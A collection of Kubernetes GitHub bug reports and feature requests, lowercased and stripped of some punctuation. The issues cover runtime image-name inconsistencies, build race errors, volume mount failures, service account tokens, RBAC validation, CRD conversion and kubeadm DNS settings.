<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r \r  \r   what happened  :\r \r kubelet  will set images list fetched by  listimages    to  nodestatus , but this result actually varies from different cri runtimes.\r \r e.g. a pod has spec of  docker.io/library/nginx:1.7.9  image, then the  nodestatus  is:\r \r cri-containerd  and maybe the same for other cri shims :\r     \r   - names:\r     - docker.io/library/nginx:1.7.9\r     sizebytes: 39947836\r    \r docker:\r    \r   - names:\r     - nginx@sha256:e3456c851a152494c3e4ff5fcc26f240206abac0c9d794affb40e0714846c451\r     - nginx:1.7.9\r     sizebytes: 91664166\r    \r \r   what you expected to happen  :\r \r the problem is: these image names in  nodestatus  is now used in scheduler to make scheduling decision, and many other third-party systems also consume this information, i will expect a consistent result be set in  nodestatus . \r \r i proposed a fix on node level:  64487,  but i am open for future discussion, for example, if we should solve this in runtime shims and return consistent results. \r \r ref:  63842, i have shipped a temporary workaround so we will not block this scheduling feature from 1.11. \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r kubernetes with different runtimes, then diff the nodestatus.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r >  \r  \r \r   what happened  :\r currently, we are using easyrsa to generate root ca for kubernetes at https://github.com/kubernetes/kubernetes/blob/master/cluster/centos/make-ca-cert.sh l69 , it is suggested that we should enable customer use their own root ca.\r \r  \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  : ci-kubernetes-e2e-gce-scale-performance\r \r   which test s  are failing  : density  testing/density/config.yaml \r \r   since when has it been failing  : march 11th 2019\r \r   testgrid link  : https://k8s-testgrid.appspot.com/sig-scalability-gce gce-scale-performance\r \r   reason for failure  :\r    \r :0\r  measurement call apiresponsiveness - apiresponsiveness error: top latency metric: there should be no high-latency requests, but:  got: {resource:endpoints subresource: verb:post scope:namespace latency:{perc50:2.252341s perc90:2.252341s perc99:2.252341s} count:1}; expected perc99 <= 1s  \r :0\r    \r \r

i want to atomically delete an object and know it's last configuration.\r  delete api/v1/pod/name  already returns the json, so please allow passing it back to the user.\r \r @kubernetes/sig-cli-feature-requests\r

forked from  8190,  8132,  6363,  2742,  2098, and probably other issues.  we need to choose/build a reusable client/server infrastructure, either based on apiserver or something new, such as grpc. while many components will slave off the core apiserver, some won't, and we also want to support federated apiservers.  cc @kubernetes/goog-csi

while working on  20170, i realized there is no max value for  podspec.activedeadlineseconds .  obviously the max value of an int64 is not a reasonable number of seconds to request with this field.  what maximum value should we allow, if any?  @bgrant0607 @derekwaynecarr

yaml is more readable. this would also include copying our swagger spec over to the new docs repo.

is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : no\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : build failures, docker save, rootfs\r \r ---\r \r   is this a bug report or feature request?    choose one : bug report\r \r   kubernetes version    use  kubectl version  : master branch\r \r   environment  :\r -   cloud provider or hardware configuration  :\r -   os    e.g. from /etc/os-release :\r -   kernel    e.g.  uname -a  :\r -   install tools  :\r -   others  :\r \r \r   what happened  :\r \r i often build k8s locally, and regularly  but not every time  i get errors on the stage of saving built images into tarballs. log can be seen below.\r the more faster servers  more ram, more cpu cores, faster raids  are, the more often this error occurs. my suspicion that it's not something properly handled in docker when multiple image operations happened at the same time with \ docker build --pull\  and \ docker save\  for the same base image.\r \r    console\r \r $ time make quick-release v=1\r \r +++  0127 00:48:12  building tarball: server linux-amd64\r +++  0127 00:48:12  building tarball: node linux-amd64\r +++  0127 00:48:13  starting docker build for image: kube-apiserver\r +++  0127 00:48:13  starting docker build for image: kube-controller-manager\r +++  0127 00:48:13  starting docker build for image: kube-scheduler\r +++  0127 00:48:13  starting docker build for image: kube-aggregator\r +++  0127 00:48:13  starting docker build for image: kube-proxy\r +++  0127 00:48:13  starting build gcr.io/google_containers/kube-proxy:79fd668582fa6a9169eb3fdbfdee3072\r +++  0127 00:48:14  starting build gcr.io/google_containers/kube-aggregator:9c9e2b8e746ccb22b7df62f77fcb3aba\r +++  0127 00:48:14  starting build gcr.io/google_containers/kube-scheduler:f6c8ba5b4d591814e77eef4d59c08acc\r +++  0127 00:48:14  starting build gcr.io/google_containers/kube-controller-manager:ea04ee1098acd54f0084823b5a8bd090\r +++  0127 00:48:14  starting build gcr.io/google_containers/kube-apiserver:40cbdb82066d7c8cc3f8a51b42d97251\r +++  0127 00:48:32  starting save gcr.io/google_containers/kube-scheduler:f6c8ba5b4d591814e77eef4d59c08acc\r +++  0127 00:48:32  starting save gcr.io/google_containers/kube-aggregator:9c9e2b8e746ccb22b7df62f77fcb3aba\r error response from daemon: open /var/lib/docker/devicemapper/mnt/d84a3fbc6929be48b8e9f5cf15475e24cabbee4d2b77166f3e2664cf23943625/r\r ootfs/bin/ : no such file or directory\r !!!  0127 00:48:32  call tree:\r !!!  0127 00:48:32   1: /home/kad/go/src/k8s.io/kubernetes/build/lib/release.sh:218 kube::release::create_docker_images_for_server ... \r !!!  0127 00:48:32   2: /home/kad/go/src/k8s.io/kubernetes/build/lib/release.sh:94 kube::release::package_server_tarballs . 10/1950 \r !!!  0127 00:48:32   3: build/release.sh:45 kube::release::package_tarballs ... \r +++  0127 00:48:34  starting save gcr.io/google_containers/kube-proxy:79fd668582fa6a9169eb3fdbfdee3072\r +++  0127 00:48:36  save done for gcr.io/google_containers/kube-scheduler:f6c8ba5b4d591814e77eef4d59c08acc\r +++  0127 00:48:36  deleting docker image gcr.io/google_containers/kube-scheduler:f6c8ba5b4d591814e77eef4d59c08acc\r untagged: gcr.io/google_containers/kube-scheduler:f6c8ba5b4d591814e77eef4d59c08acc\r deleted: sha256:d9a3da02d7b94b670db489f85dd23d8e58506f0614d5716479565869220d6d93\r deleted: sha256:461cef73103703d6787d16593beb50ab3d168a34ea33eeb29bebfcd1201f867b\r +++  0127 00:48:36  starting save gcr.io/google_containers/kube-controller-manager:ea04ee1098acd54f0084823b5a8bd090\r +++  0127 00:48:37  starting save gcr.io/google_containers/kube-apiserver:40cbdb82066d7c8cc3f8a51b42d97251\r +++  0127 00:48:39  save done for gcr.io/google_containers/kube-controller-manager:ea04ee1098acd54f0084823b5a8bd090\r +++  0127 00:48:39  deleting docker image gcr.io/google_containers/kube-controller-manager:ea04ee1098acd54f0084823b5a8bd090\r untagged: gcr.io/google_containers/kube-controller-manager:ea04ee1098acd54f0084823b5a8bd090\r deleted: sha256:faf42271c473f105895c87cc85530e830f975493b673e5b81e7c6f336f646623\r deleted: sha256:90b838115a6767ab3c16a269e426ffc332c0fad40639171d136613d1e5639b80\r +++  0127 00:48:40  save done for gcr.io/google_containers/kube-apiserver:40cbdb82066d7c8cc3f8a51b42d97251\r +++  0127 00:48:40  deleting docker image gcr.io/google_containers/kube-apiserver:40cbdb82066d7c8cc3f8a51b42d97251\r untagged: gcr.io/google_containers/kube-apiserver:40cbdb82066d7c8cc3f8a51b42d97251\r deleted: sha256:922bb48b3904ed60e710dd9206e05046198c668e8cfe8c9cc6f24f1d057540fc\r deleted: sha256:347c51e8e994f85b1b42088b97855033981a2a976d233f30bb6c356f167479d5\r +++  0127 00:48:43  save done for gcr.io/google_containers/kube-proxy:79fd668582fa6a9169eb3fdbfdee3072\r +++  0127 00:48:43  deleting docker image gcr.io/google_containers/kube-proxy:79fd668582fa6a9169eb3fdbfdee3072\r untagged: gcr.io/google_containers/kube-proxy:79fd668582fa6a9169eb3fdbfdee3072\r deleted: sha256:8be878e5106e136de094dc956ef7ad1d5a37696301d495b390680a25c4043b4d\r deleted: sha256:5ebc71fd462ad354bd4e44cddee3aaff790318a22e68f2a1f0fb1c7b5fbbc0d2\r !!!  0127 00:48:43  previous docker build failed\r !!!  0127 00:48:43  call tree:\r !!!  0127 00:48:43   1: /home/kad/go/src/k8s.io/kubernetes/build/lib/release.sh:218 kube::release::create_docker_images_for_server ... \r !!!  0127 00:48:43   2: /home/kad/go/src/k8s.io/kubernetes/build/lib/release.sh:94 kube::release::package_server_tarballs ... \r !!!  0127 00:48:43   3: build/release.sh:45 kube::release::package_tarballs ... \r !!!  0127 00:48:43  previous tarball phase failed\r makefile:361: recipe for target 'quick-release' failed\r make:      quick-release  error 1\r    \r \r   what you expected to happen  :\r    console\r +++  0127 22:35:49  starting build gcr.io/google_containers/kube-aggregator:729ffc22ea0a3b15148fac2e5ba8e959\r +++  0127 22:35:49  starting build gcr.io/google_containers/kube-proxy:fa17d85fdb40bcf0835c12cb8a69ae5c\r +++  0127 22:35:49  starting build gcr.io/google_containers/kube-scheduler:67200bb4e488fd377726d383d7a9d34f\r +++  0127 22:35:49  starting build gcr.io/google_containers/kube-controller-manager:4d2ac5f60682e6a79d01586423e1a3f0\r +++  0127 22:35:49  starting build gcr.io/google_containers/kube-apiserver:4e2291dd0e839d893db30f0e21c621e4\r +++  0127 22:35:52  starting save gcr.io/google_containers/kube-apiserver:4e2291dd0e839d893db30f0e21c621e4\r +++  0127 22:35:58  save done for gcr.io/google_containers/kube-apiserver:4e2291dd0e839d893db30f0e21c621e4\r +++  0127 22:35:58  deleting docker image gcr.io/google_containers/kube-apiserver:4e2291dd0e839d893db30f0e21c621e4\r untagged: gcr.io/google_containers/kube-apiserver:4e2291dd0e839d893db30f0e21c621e4\r deleted: sha256:180fe1ba9bf432bbc4b4b012b1612cde252206c769713b7afb019d8be307537f\r deleted: sha256:46fe32b1f21e0e85bb02c07cc28c152558d5ab7288607a4c3d26362e0cd56acf\r +++  0127 22:36:02  starting save gcr.io/google_containers/kube-aggregator:729ffc22ea0a3b15148fac2e5ba8e959\r +++  0127 22:36:05  save done for gcr.io/google_containers/kube-aggregator:729ffc22ea0a3b15148fac2e5ba8e959\r +++  0127 22:36:05  deleting docker image gcr.io/google_containers/kube-aggregator:729ffc22ea0a3b15148fac2e5ba8e959\r untagged: gcr.io/google_containers/kube-aggregator:729ffc22ea0a3b15148fac2e5ba8e959\r deleted: sha256:ff1d9666907dfb1308728d9781028cd6b8ede84195c9d24be8dacd355f651945\r deleted: sha256:f487b9de0e669f62403f024ee81d466227a3449a3594029fbebe31aff521a1b1\r +++  0127 22:36:06  starting save gcr.io/google_containers/kube-scheduler:67200bb4e488fd377726d383d7a9d34f\r +++  0127 22:36:08  save done for gcr.io/google_containers/kube-scheduler:67200bb4e488fd377726d383d7a9d34f\r +++  0127 22:36:08  deleting docker image gcr.io/google_containers/kube-scheduler:67200bb4e488fd377726d383d7a9d34f\r untagged: gcr.io/google_containers/kube-scheduler:67200bb4e488fd377726d383d7a9d34f\r deleted: sha256:3c0af356b7541edcfc614a36714a10cc71f509f89a590b1dd4ff7b0cc25bcce8\r deleted: sha256:396e648287c6bfbc58bd5495e8f1246e033a13794d7201612dc8328af9882f10\r +++  0127 22:36:08  starting save gcr.io/google_containers/kube-proxy:fa17d85fdb40bcf0835c12cb8a69ae5c\r +++  0127 22:36:09  starting save gcr.io/google_containers/kube-controller-manager:4d2ac5f60682e6a79d01586423e1a3f0\r +++  0127 22:36:11  save done for gcr.io/google_containers/kube-controller-manager:4d2ac5f60682e6a79d01586423e1a3f0\r +++  0127 22:36:11  deleting docker image gcr.io/google_containers/kube-controller-manager:4d2ac5f60682e6a79d01586423e1a3f0\r untagged: gcr.io/google_containers/kube-controller-manager:4d2ac5f60682e6a79d01586423e1a3f0\r deleted: sha256:cb22f592f56eb033c3a691be23c13b301bcd2411020b81f7c92ba534aa65b89a\r deleted: sha256:dd1c16fea5bb34b3b81f787dd4a00cfc3d65c96b44e245af827dff895e7f6d01\r +++  0127 22:36:13  save done for gcr.io/google_containers/kube-proxy:fa17d85fdb40bcf0835c12cb8a69ae5c\r +++  0127 22:36:13  deleting docker image gcr.io/google_containers/kube-proxy:fa17d85fdb40bcf0835c12cb8a69ae5c\r untagged: gcr.io/google_containers/kube-proxy:fa17d85fdb40bcf0835c12cb8a69ae5c\r deleted: sha256:5288f7df74b0811827855fa19f04e05056b815f9ea1057d39f5b6629ce41f853\r deleted: sha256:2a370f0762733b5d8c2fa446c6edb2a41ced707a6118b6b319f3c605aa4a8d16\r +++  0127 22:36:13  docker builds done\r +++  0127 22:37:22  building tarball: final\r +++  0127 22:37:22  building tarball: test\r    \r \r   how to reproduce it    as minimally and precisely as possible :\r \r use fast server with fast storage  ssd  and enough cores/ram to quickly build images.\r the faster server and storage is, the bigger probability that \ make release\  or \ make quick-release\  will fail with something similar to \ error response from daemon: open /var/lib/docker/devicemapper/mnt/.../rootfs/bin/ : no such file or directory\ .\r \r   anything else do we need to know  :\r \r if i disable parallel image build/save in build/lib/release.sh: in function kube::release::create_docker_images_for_server by removing \ &\ , build error not possible to reproduce.\r \r

 \r   what happened  :\r \r when a cluster is provisioned using a containerised kubelet using the following images:\r \r gcr.io/google-containers/hyperkube-amd64:v1.8.0-beta.0\r gcr.io/google-containers/hyperkube-amd64:v1.8.1-beta.0\r \r pods with pvcs are not created because kubelet cannot mount the disks. if you look at events, you can see that it's missing some binaries:\r \r    \r events:\r   firstseen\tlastseen\tcount\tfrom\t\t\tsubobjectpath\ttype\t\treason\t\t\tmessage\r   ---------\t--------\t-----\t----\t\t\t-------------\t--------\t------\t\t\t-------\r   1m\t\t1m\t\t1\t{default-scheduler }\t\t\tnormal\t\tscheduled\t\tsuccessfully assigned thindiskpod to node3\r   1m\t\t1m\t\t1\t{kubelet node3}\t\t\t\tnormal\t\tsuccessfulmountvolume\tmountvolume.setup succeeded for volume \ default-token-5h5x6\  \r   1m\t\t1m\t\t5\t{kubelet node3}\t\t\t\twarning\t\tfailedmount\t\tmountvolume.mountdevice failed for volume \ pvc-4dc51e93-82c5-11e7-a497-0050569c48bf\  : executable file not found in $path\r    \r \r this executable is  mkfs.ext4 . this problem can be resolved by mounting paths from the host into the rkt container, specifically  /usr/sbin  and  /usr/lib .\r \r is this expected? @saad-ali mentioned in https://github.com/kubernetes/kubernetes/issues/50802, that mounting operations are moving out from the main process into containers. is this part of that effort? this caught me quite unexpected, and i didn't find any docs or changelog entries which indicated additional host mounts were necessary.\r \r if it's deliberate, i can close this until we perhaps document the breaking change. is there a good place where we can document this?\r if it's not, i'll leave this open as a tracking issue.\r \r   what you expected to happen  :\r \r the hyperkube image to work without lots of host mounts.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r run kubelet with rkt in one of the above listed images  see coreos'  kubelet-wrapper  https://github.com/coreos/coreos-overlay/blob/master/app-admin/kubelet-wrapper/files/kubelet-wrapper  .\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.8.0.beta-1\r - cloud provider or hardware configuration  : openstack\r - os  e.g. from /etc/os-release : \r    \r name=\ container linux by coreos\ \r id=coreos\r version=1520.3.0\r version_id=1520.3.0\r build_id=2017-09-15-2017\r pretty_name=\ container linux by coreos 1520.3.0  ladybug \ \r ansi_color=\ 38;5;75\ \r home_url=\ https://coreos.com/\ \r bug_report_url=\ https://issues.coreos.com\ \r coreos_board=\ amd64-usr\ \r    \r - kernel  e.g.  uname -a  :\r    \r linux jamie-terraform-worker-1 4.13.2-coreos  1 smp fri sep 15 20:02:58 utc 2017 x86_64 amd opteron 23xx  gen 3 class opteron  authenticamd gnu/linux\r    \r - install tools: tectonic-installer

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r @kubernetes/sig-storage-feature-requests \r /assign\r \r   what happened  :\r performance improvement for volume scheduler so we don't have to iterate through all pvs.\r \r hm, but will this break prebound pv behavior that doesn't require storageclass to match with pvc.

 \r \r   what happened  :\r a simple job that only runs an example image not touching any files but has two volume mounts will fail to start the pod  stops at containercreating  after some runs. the job definition is as follows:\r    yaml\r apiversion: batch/v1\r kind: job\r metadata:\r   name: usermanager\r spec:\r   template:\r     spec:\r       containers:\r       - name: pi\r         image: perl\r         command:  \ perl\ ,  \ -mbignum=bpi\ , \ -wle\ , \ print bpi 2000 \  \r         volumemounts:\r         - mountpath: \ /gitdata\ \r           name: gitdata\r         - mountpath: \ /webdata\ \r           name: webdata\r       volumes:\r        - name: webdata\r          persistentvolumeclaim:\r            claimname: olovs-web-claim\r        - name: gitdata\r          persistentvolumeclaim:\r            claimname: olovs-git-claim\r       restartpolicy: never\r   backofflimit: 4\r    \r \r definition of pvc's, pv's and storage class:\r    yaml\r apiversion: v1\r kind: persistentvolumeclaim\r metadata:\r   name: olovs-web-claim\r   namespace: olovs\r spec:\r   accessmodes:\r   - readwritemany\r   resources:\r     requests:\r       storage: 1gi\r   storageclassname: nfs\r   volumename: olovs-web\r ---\r apiversion: v1\r kind: persistentvolumeclaim\r metadata:\r   name: olovs-git-claim\r   namespace: olovs\r spec:\r   accessmodes:\r   - readwritemany\r   resources:\r     requests:\r       storage: 1gi\r   storageclassname: nfs\r   volumename: olovs-git\r ---\r apiversion: v1\r kind: persistentvolume\r metadata:\r   name: olovs-web\r spec:\r   accessmodes:\r   - readwritemany\r   capacity:\r     storage: 1gi\r   mountoptions:\r   - hard\r   - nfsvers=4.1\r   - rsize=1048576\r   - wsize=1048576\r   - timeo=600\r   - retrans=2\r   nfs:\r     path: /\r     server: fs-xyz.efs.eu-central-1.amazonaws.com\r   persistentvolumereclaimpolicy: retain\r   storageclassname: nfs\r ---\r apiversion: v1\r kind: persistentvolume\r metadata:\r   name: olovs-git\r spec:\r   accessmodes:\r   - readwritemany\r   capacity:\r     storage: 1gi\r   mountoptions:\r   - hard\r   - nfsvers=4.1\r   - rsize=1048576\r   - wsize=1048576\r   - timeo=600\r   - retrans=2\r   nfs:\r     path: /\r     server: fs-abc.efs.eu-central-1.amazonaws.com\r   persistentvolumereclaimpolicy: retain\r   storageclassname: nfs\r ---\r apiversion: storage.k8s.io/v1\r kind: storageclass\r metadata:\r   name: nfs\r parameters:\r   type: nfs\r provisioner: kubernetes.io/nfs\r reclaimpolicy: delete\r volumebindingmode: immediate\r    \r \r   what you expected to happen  :\r that we can run the job as many times as we want.\r \r   how to reproduce it  as minimally and precisely as possible   :\r create two efs filesystems on aws accessible from nodes in your cluster. edit the yaml above and put in the fileserver names on the pv definitions. run the job. often after just a few runs  1-5 , the pod will not be able to create the container. there will be a timeout mounting the volumes. if i then log in to the node and uses the mount command to mount the same efs filesystem, it will hang and not be able to mount it. if i reboot the node, i am able to mount the volumes again, but after running the job a few times it will be impossible.\r \r   anything else we need to know?  :\r we have not been able to reproduce this if we just create deployments. it seem to have something to do with jobs. we have not tested with only one volume.\r \r   environment  :\r - kubernetes version  use  kubectl version  : \r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.0\ , gitcommit:\ fc32d2f3698e36b93322a3465f63a14e9f0eaead\ , gittreestate:\ clean\ , builddate:\ 2018-03-26t16:55:54z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.0\ , gitcommit:\ fc32d2f3698e36b93322a3465f63a14e9f0eaead\ , gittreestate:\ clean\ , builddate:\ 2018-03-26t16:44:10z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration: aws\r - os  e.g. from /etc/os-release : debian gnu/linux 8  jessie \r - kernel  e.g.  uname -a  : 4.4.115-k8s\r - install tools: cluster created with kops 1.9.0\r - others:\r

having spent some time working with service accounts downstream, there are a few enhancements i'd like to see post-1.0 1. make it easier to get a valid token for a service account.  the long-lived, but fully revocable aspect of sa tokens makes it desirable to use them for machine accounts, but it is really painful to describe to a user how they can get the sa token outside of a pod.  while i recognize that we'd like everything to be a pod, the world hasn't fully changed yet. 2. make it easier to create a new token for a service account.  related to the first point, but i'd like to be able to allow a user to create a new token for a single service account without giving them rights to create or get tokens in general.  currently, there's no way to do that.  also, it's really hard to describe to someone how to perfectly craft a secret to a token automatically filled in. 3. allow user to rotate a service account token, without granting delete rights to secrets.  right now, the only way to rotate an sa token is to delete the secret.  the power to delete arbitrary secrets is more significant than the power to rotate an sa token. 4. create separate field for  automountedsecrets .  the auto-mounting feature for service accounts is really nice, but sometimes i only want to use service accounts for things like pull secrets and i don't want them to handle their credentials out to ever pod they're attached to.  rather than place the burden on an rc or a pod to create a conflicting volume mount, i'd like to be able to explicitly choose which secrets get automounted.  this would also allow someone to describe additional secrets that get automounted.  @liggitt @smarterclayton @pmorie

in the current state to generate load the user should invoke from his/her computer  while true; do curl http://146.148.6.244; done . it can be easily done from pod running in the cluster. this issue is about to change the  hpa example  https://github.com/kubernetes/kubernetes/tree/master/docs/user-guide/horizontal-pod-autoscaling  accordingly.  cc @jszczepkowski

if a node runs out of memory, we kill something. then if there is memory pressure, we don't admit best effort  https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/eviction/eviction_manager.go l110 . maybe we can admit static-pods, even if they're best effort? \r \r @kubernetes/sig-node if we can't differentiate static from non-static, maybe we can use the  scheduler.alpha.kubernetes.io/critical-pod  annotation?

failure cluster: https://storage.googleapis.com/k8s-gubernator/triage/index.html 8cd80568009d1085aaf5\r testgrid: https://k8s-testgrid.appspot.com/release-1.6-upgrade-skew gce-1.6-1.5-downgrade-cluster\r \r example failure text\r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/cluster_upgrade.go:160\r may  7 19:42:57.567: failed to allocated static ip e2e-tests-ingress-upgrade-c34m5-static-ip: googleapi: error 403: quota 'static_addresses' exceeded. limit: 15.0, quotaexceeded\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/ingress_utils.go:732\r    \r \r @kubernetes/sig-network-test-failures \r /assign @thockin @caseydavenport @dcbw \r

issues when split repos:\r \r -     kubernetes/newrepo split repo into kubernetes/kubernetes\r   -     testing the code against kubernetes/kubernetes\r   -     automatically updating the vendored version of kubernetes/newrepo in kubernetes/kubernetes when updated in newrepo\r -     vendoring deps into kubernetes/newrepo shared with kubernetes/kubernetes\r   -     kubernetes/kubernets and kubernetes/newrepo must use the same version of deps they share\r -     tracking issues for the release\r   -      issues in kubernetes/newrepo need to be communicated to the release team and tracked

is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/. : no\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : rbac validation\r \r ---\r \r   is this a bug report or feature request?    choose one : feature request\r \r it would be helpful if the api server could validate rbac rules upon creation. right now it's possible to create rules targeting resources which don't exist.\r \r for example, i just ran into a case where port forwarding was being denied for one of our developers, and the problem turned out to be that \ portforward\  was misspelled in our rbac rule that was should have allowed it.\r \r it would have been great to have the api server catch this when the resources were first created. something like:\r \r    \r $ kubectl apply -f rbac-rules.yml\r error: no resource \ pods/portfoward\  in api group \ core\ .\r

we are losing some older apiserver logs on our long-running scale-tests due to logrotate set by default to 5 files of maxsize 100m.\r this should be made configurable.\r \r cc @k8s-mirror-cluster-lifecycle-misc @kubernetes/sig-scalability-misc @crassirostris

is this a bug report or feature request?  :\r - bug report\r \r   \r   what happened  :\r - pod is not able to be scheduled again\r \r   what you expected to happen  :\r - pod should start  as it always did the past 13 days \r   how to reproduce it  as minimally and precisely as possible   :\r - i don't think that anyone else can reproduce this behaviour  err msg below \r \r   anything else we need to know?  :\r we restarted a pod  as we always do  and got the following error message:\r <pre><code>error response from daemon:\r {\ message\ :\ invalid header field value \\\ oci runtime error: container_linux.go:247:\r starting container process caused \\\\\\\ process_linux.go:320:\r reading synct run type caused \\\\\\\\\\\\\\\ write parent: broken pipe\\\\\\\\\\\\\\\ \\\\\\\ \\\ \\\ \ }</code></pre>\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - v1.7.2\r - cloud provider or hardware configuration  :\r - bare-metal\r - os  e.g. from /etc/os-release :\r - ubuntu 16.04.03 lts\r - kernel  e.g.  uname -a  :\r - 4.11  lowlatency \r - install tools:\r - ansible\r - docker version:\r - 1.12.6\r

for logging and monitoring purposes identifying application types  mysql, jvm, etc   is necessary. monitoring and logging agents are built to handle different application types natively.  possible approaches: - labels - declare some well known label keys that can be used to identify applications. - extend the api to include optional per-container application types - use api  plugins  https://github.com/googlecloudplatform/kubernetes/issues/991   cc @satnam6502 @bgrant0607

is this a bug report or feature request?  :\r \r  \r   description  :\r \r if  taintnodesbycondtion  enabled, it's better to add  networkunavailable  toleration to the pod using host network.\r \r 

in designing new conversions for crds we realized we would have a problem on the downgrade path if we default to no-op conversion all the time  as we do in 1.11 . assume we add some other conversions, e.g. webhook conversion. user defines two version and a conversion webhook to convert v1 to v2, assuming v1 is the storage version. the schema for v1 and v2 could be completely different and a controller/client working with v1 can fail unexpectedly if we give it v2 object  or vice versa . now if for some reason the master is downgraded to 1.11, the default conversion will kick in and v1 and v2 object will have the same schema which fail some clients/controllers in a hard-to-debug manner.\r \r one possible solution is to add a conversion strategy and set it to no-op by default in 1.11.1:\r \r    \r ...\r spec:\r   conversion:\r     strategy: no-op\r ...\r    \r \r and set this strategy to something else if we introduced a new conversion like webhook:\r \r    \r ...\r spec:\r   conversion:\r     strategy: external\r ...\r    \r \r now if we switch back to 1.11, the strategy value  external  is unrecognized and api server should stop serving crd with proper error messages/channel  e.g. a condition .

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r  \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r attempted to install update to version 1.11.2 but unable to find required rpms for centos7\r \r   what you expected to happen  :\r new 1.11.2 rpms available from yum repo\r \r   how to reproduce it  as minimally and precisely as possible   :\r repoquery kubectl-1.11.2\r \r nothing found\r \r -bash-4.2$ repoquery kubectl-1.11.1\r kubectl-0:1.11.1-0.x86_64\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

is this a bug report or feature request?  :\r >  \r \r   what happened  :\r while initializing the the kubernetes cluster with  kubeadm  , provided different  --service-cidr=172.168.0.0/22 . still kubeadm injects  clusterdns  in kubelet config as  10.96.0.10 , this results in wrong dns address in all the pods.\r \r   what you expected to happen  :\r  kubeadm  should inject proper dns server address in kubelet config.\r \r   how to reproduce it  as minimally and precisely as possible   :\r just initialize kubernetes cluster with  kubeadm  by providing the  --service-cidr=172.168.0.0/22 \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.0\ , gitcommit:\ 91e7b4fd31fcd3d5f436da26c980becec37ceefe\ , gittreestate:\ clean\ , builddate:\ 2018-06-27t20:17:28z\ , goversion:\ go1.10.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.3\ , gitcommit:\ a4529464e4629c21224b3d52edfe0ea91b072862\ , gittreestate:\ clean\ , builddate:\ 2018-09-09t17:53:03z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r    \r - cloud provider or hardware configuration:\r baremetal\r - os  e.g. from /etc/os-release :\r centos 7.5.x\r - kernel  e.g.  uname -a  :\r    \r linux shetty-k8s.novalocal 3.10.0-862.2.3.el7.x86_64  1 smp wed may 9 18:05:47 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r    \r - install tools:\r  kubeadm \r \r - others:\r i can see the code to add the proper cluster dns address based on the service subnet here https://github.com/kubernetes/kubernetes/blob/8a3888dcfae0c8d4b66c8f9b2a64de93f08002c2/cmd/kubeadm/app/componentconfigs/defaults.go l77 . not sure why it is not working\r

